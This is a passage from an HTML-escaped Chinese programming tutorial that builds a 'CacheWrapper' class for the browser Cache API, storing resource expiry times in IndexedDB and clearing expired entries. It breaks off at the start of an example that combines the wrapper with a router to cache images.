aria-hidden=\"true\"></i></a>&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x5B9E;&#x73B0;</h2>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x5C06;&#x901A;&#x8FC7; CacheWrapper &#x6765;&#x7EDF;&#x4E00;&#x5B9E;&#x73B0;&#x7F13;&#x5B58;&#x7684;&#x7BA1;&#x7406;&#x3002;CacheWrapper &#x7684;&#x57FA;&#x672C;&#x601D;&#x8DEF;&#x662F;&#x5B9E;&#x73B0;&#x5BF9; Cache API &#x7684;&#x5C01;&#x88C5;&#xFF0C;&#x5206;&#x522B;&#x5728;&#x6267;&#x884C; <code>cache.put()</code> &#x548C; <code>cache.match()</code> &#x7684;&#x65F6;&#x5019;&#x4F9D;&#x6B21;&#x5B8C;&#x6210;&#x5BF9;&#x7F13;&#x5B58;&#x5BF9;&#x8C61;&#x7684;&#x66F4;&#x65B0;&#x548C;&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;&#x3002;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x4FE1;&#x606F;&#x5B58;&#x653E;&#x5728; IndexedDB &#x5F53;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x5728;&#x7B2C;&#x4E09;&#x7AE0;&#x4E2D;&#x5C01;&#x88C5;&#x4E86; IndexedDB &#x7684; DB &#x7C7B;&#x6765;&#x7B80;&#x5316; IndexedDB &#x7684;&#x64CD;&#x4F5C;&#x3002;</p>\n<h3 id=\"&#x6784;&#x9020;&#x51FD;&#x6570;\"><a name=\"&#x6784;&#x9020;&#x51FD;&#x6570;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6784;&#x9020;&#x51FD;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6784;&#x9020;&#x51FD;&#x6570;\" class=\"plugin-anchor\" href=\"#&#x6784;&#x9020;&#x51FD;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6784;&#x9020;&#x51FD;&#x6570;</h3>\n<p>CacheWrapper &#x9700;&#x8981;&#x4F20;&#x5165;&#x4E24;&#x4E2A;&#x53C2;&#x6570; cacheName &#x548C; expireOptions&#x3002;&#x5176;&#x4E2D; cacheName &#x4E3A;&#x7F13;&#x5B58;&#x540D;&#x79F0;&#xFF0C;&#x7528;&#x4E8E;&#x83B7;&#x53D6; cache &#x5BF9;&#x8C61;&#x4EE5;&#x53CA;&#x5B9E;&#x4F8B;&#x5316; db&#x3002;expireOptions &#x4E3A;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x7684;&#x914D;&#x7F6E;&#x4FE1;&#x606F;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x53EA;&#x6F14;&#x793A;&#x8D44;&#x6E90;&#x8D85;&#x65F6;&#x8FC7;&#x671F;&#x7684;&#x7BA1;&#x7406;&#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x9700;&#x8981;&#x4F20;&#x5165; maxAgeSeconds &#x53C2;&#x6570;&#x89C4;&#x5B9A;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x65F6;&#x957F;&#x5373;&#x53EF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">CacheWrapper</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">{</span>\n    cacheName<span class=\"token punctuation\">,</span>\n    expireOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      maxAgeSeconds\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName <span class=\"token operator\">=</span> cacheName\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>maxAgeSeconds <span class=\"token operator\">=</span> maxAgeSeconds\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5982;&#x4E0B;&#x65B9;&#x5F0F;&#x5B9E;&#x4F8B;&#x5316; CacheWrapper&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> cacheWrapper <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">CacheWrapper</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7ED9;&#x7F13;&#x5B58;&#x8D77;&#x4E2A;&#x540D;</span>\n  cacheName<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;resource-cache&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// &#x5047;&#x8BBE;&#x7F13;&#x5B58; 1 &#x661F;&#x671F;&#x4E4B;&#x540E;&#x8D44;&#x6E90;&#x8FC7;&#x671F;</span>\n  expireOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    maxAgeSeconds<span class=\"token punctuation\">:</span> <span class=\"token number\">7</span> <span class=\"token operator\">*</span> <span class=\"token number\">24</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x83B7;&#x53D6;-cache-&#x548C;-db-&#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;\"><a name=\"&#x83B7;&#x53D6;-cache-&#x548C;-db-&#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x83B7;&#x53D6;-cache-&#x548C;-db-&#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x83B7;&#x53D6;-cache-&#x548C;-db-&#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;\" class=\"plugin-anchor\" href=\"#&#x83B7;&#x53D6;-cache-&#x548C;-db-&#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x83B7;&#x53D6; cache &#x548C; db &#x5BF9;&#x8C61;&#x5B9E;&#x4F8B;</h3>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x9700;&#x8981;&#x5B9A;&#x4E49;&#x83B7;&#x53D6; cache &#x5BF9;&#x8C61;&#x548C; db &#x5BF9;&#x8C61;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x901A;&#x8FC7; this.cacheName &#x6307;&#x5B9A;&#x540D;&#x79F0;&#x53EF;&#x4EE5;&#x83B7;&#x5F97;&#x901A;&#x8FC7;&#x5982;&#x4E0B;&#x65B9;&#x6CD5;&#x5206;&#x522B;&#x83B7;&#x5F97;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">CacheWrapper</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token function\">getCache</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cache<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cache\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">getDB</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">DB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>storeName<span class=\"token punctuation\">:</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>db\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6709;&#x4E86; getCache() &#x548C; getDB() &#x4E4B;&#x540E;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5728;&#x540E;&#x7EED;&#x7684;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x5F53;&#x4E2D;&#x76F4;&#x63A5;&#x8C03;&#x7528;&#x8FD9;&#x4E24;&#x4E2A;&#x65B9;&#x6CD5;&#x5206;&#x522B;&#x83B7;&#x5F97;&#x5F53;&#x524D;&#x7684; cache &#x548C; db &#x5BF9;&#x8C61;&#x4E86;&#x3002;</p>\n<h3 id=\"&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;\"><a name=\"&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;\" class=\"plugin-anchor\" href=\"#&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5199;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x8BB0;&#x5F55;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x65F6;&#x95F4;</h3>\n<p>&#x5728;&#x8C03;&#x7528; cache.put() &#x65B9;&#x6CD5;&#x7684;&#x65F6;&#x5019;&#x4E00;&#x822C;&#x7528;&#x4E8E;&#x65B0;&#x589E;&#x6216;&#x8005;&#x66F4;&#x65B0;&#x672C;&#x5730;&#x8D44;&#x6E90;&#xFF0C;&#x6B64;&#x65F6;&#x5E94;&#x8BE5;&#x540C;&#x6B65;&#x66F4;&#x65B0;&#x7F13;&#x5B58;&#x7684;&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#x3002;&#x7531;&#x4E8E;&#x4F20;&#x5165;&#x7684; maxAgeSeconds &#x5355;&#x4F4D;&#x662F;&#x79D2;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x8BA1;&#x7B97;&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#x7684;&#x65F6;&#x95F4;&#x6233;&#x65F6;&#x9700;&#x8981;&#x4E58;&#x4EE5; 1000 &#x6362;&#x7B97;&#x6210;&#x6BEB;&#x79D2;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">CacheWrapper</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token keyword\">set</span> <span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6; db &#x5BF9;&#x8C61;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6; cache &#x5BF9;&#x8C61;</span>\n    <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getCache</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x540C;&#x65F6;&#x66F4;&#x65B0;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E0E;&#x8D44;&#x6E90;&#x6240;&#x5BF9;&#x5E94;&#x7684;&#x8FC7;&#x671F;&#x65F6;&#x95F4;</span>\n    <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">all</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n      cache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n      db<span class=\"token punctuation\">.</span><span class=\"token function\">setItem</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> Date<span class=\"token punctuation\">.</span><span class=\"token function\">now</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>maxAgeSeconds <span class=\"token operator\">*</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x6E05;&#x7406;&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#xFF0C;&#x65E0;&#x9700;&#x963B;&#x585E;&#x5F02;&#x6B65;&#x65B9;&#x6CD5;&#x7684;&#x6267;&#x884C;</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">deleteExpires</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;\"><a name=\"&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;\" class=\"plugin-anchor\" href=\"#&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x65F6;&#x6392;&#x9664;&#x8FC7;&#x671F;&#x8D44;&#x6E90;</h3>\n<p>&#x5728;&#x8C03;&#x7528; cache.match() &#x65B9;&#x6CD5;&#x67E5;&#x8BE2;&#x672C;&#x5730;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x5E94;&#x8BE5;&#x786E;&#x8BA4;&#x5BF9;&#x5E94;&#x8D44;&#x6E90;&#x662F;&#x5426;&#x8FC7;&#x671F;&#xFF0C;&#x53EA;&#x6709;&#x5F53;&#x8D44;&#x6E90;&#x672A;&#x8FC7;&#x671F;&#x65F6;&#x518D;&#x5C06;&#x8D44;&#x6E90;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">CacheWrapper</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token keyword\">get</span> <span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6; db &#x5BF9;&#x8C61;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6; cache &#x5BF9;&#x8C61;</span>\n    <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getCache</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x540C;&#x65F6;&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x53CA;&#x5176;&#x8FC7;&#x671F;&#x65F6;&#x95F4;</span>\n    <span class=\"token keyword\">let</span> <span class=\"token punctuation\">[</span>response<span class=\"token punctuation\">,</span> expireTime<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">all</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n      cache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n      db<span class=\"token punctuation\">.</span><span class=\"token function\">getItem</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5982;&#x679C;&#x672A;&#x8D85;&#x65F6;&#x5219;&#x4EE3;&#x8868;&#x8D44;&#x6E90;&#x6CA1;&#x8FC7;&#x671F;&#xFF0C;&#x5C06;&#x8BFB;&#x53D6;&#x5230;&#x7684;&#x8D44;&#x6E90;&#x8FD4;&#x56DE;</span>\n    <span class=\"token comment\">// &#x5982;&#x679C;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#x5219;&#x4E0D;&#x8FD4;&#x56DE;&#x4EFB;&#x4F55;&#x5185;&#x5BB9;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>expireTime <span class=\"token operator\">&gt;</span> Date<span class=\"token punctuation\">.</span><span class=\"token function\">now</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> response\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token comment\">// &#x6E05;&#x7406;&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#xFF0C;&#x65E0;&#x9700;&#x963B;&#x585E;&#x5F02;&#x6B65;&#x65B9;&#x6CD5;&#x7684;&#x6267;&#x884C;</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">deleteExpires</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;\"><a name=\"&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;\" class=\"plugin-anchor\" href=\"#&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;</h3>\n<p>&#x5728;&#x8C03;&#x7528; CacheWrapper &#x7684; <code>set()</code> &#x548C; <code>get()</code> &#x65B9;&#x6CD5;&#x7ED3;&#x675F;&#x524D;&#xFF0C;&#x90FD;&#x8C03;&#x7528;&#x4E86; <code>deleteExpires</code> &#x7EDF;&#x4E00;&#x8FDB;&#x884C;&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x6E05;&#x7406;&#xFF0C;&#x5176;&#x65B9;&#x6CD5;&#x7684;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">CacheWrapper</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ..</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token function\">deleteExpires</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6; db &#x5BF9;&#x8C61;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6; cache &#x5BF9;&#x8C61;</span>\n    <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getCache</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5168;&#x90E8;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x4FE1;&#x606F;</span>\n    <span class=\"token keyword\">let</span> map <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">getAll</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>map<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">let</span> now <span class=\"token operator\">=</span> Date<span class=\"token punctuation\">.</span><span class=\"token function\">now</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x904D;&#x5386;&#x6240;&#x6709;&#x8FC7;&#x671F;&#x4FE1;&#x606F;&#xFF0C;&#x5E76;&#x5BF9;&#x8FC7;&#x671F;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x6E05;&#x7406;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> <span class=\"token punctuation\">[</span>url<span class=\"token punctuation\">,</span> expireTime<span class=\"token punctuation\">]</span> <span class=\"token keyword\">of</span> map<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>expireTime <span class=\"token operator\">&lt;=</span> now<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">await</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span>url<span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x5229;&#x7528;-cachewrapper-&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;\"><a name=\"&#x5229;&#x7528;-cachewrapper-&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5229;&#x7528;-cachewrapper-&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5229;&#x7528;-cachewrapper-&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x5229;&#x7528;-cachewrapper-&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5229;&#x7528; CacheWrapper &#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;</h3>\n<p>&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x4F7F;&#x7528; CacheWrapper &#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x7B80;&#x6613;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;&#x3002;&#x6BD4;&#x5982;&#x4E0B;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x6240;&#x5C55;&#x793A;&#x7684;&#xFF0C;&#x7ED3;&#x5408; Router &#x5B9E;&#x73B0;&#x5BF9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x6E05;&#x7406;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4F18;&#x5148;&#x4ECE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#xFF0C;&#x5982;&#x679C;&#x8D44;&#x6E90;&#x5C1A;&#x672A;&#x88AB;&#x7F13;&#x5B58;&#x6216;&#x8005;&#x8D44;&#x6E90;&#x8FC7;&#x671F;&#xFF0C;&#x5219;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x83B7;&#x53D6;&#x6700;&#x65B0;&#x8D44;&#x6E90;&#x5E76;&#x7F13;&#x5B58;&#x5230;&#x672C;&#x5730;&#x3002;&#x5229;&#x7528; CacheWrapper &#x53EF;&#x4EE5;&#x975E;&#x5E38;&#x65B9;&#x4FBF;&#x5730;&#x5B9E;&#x73B0;&#x7F13;&#x5B58;&#x8FC7;&#x671F;&#x7BA1;&#x7406;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> router <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Router</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5B9E;&#x4F8B;&#x5316; cacheWrapper &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">const</span> cacheWrapper <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">CacheWrapper</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5355;&#x72EC;&#x7ED9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x5206;&#x914D;&#x7F13;&#x5B58;&#x540D;&#x79F0;</span>\n  cacheName<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;image-cache&apos;</span><span class=\"token punctuation\">,</span>\n  expireOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// 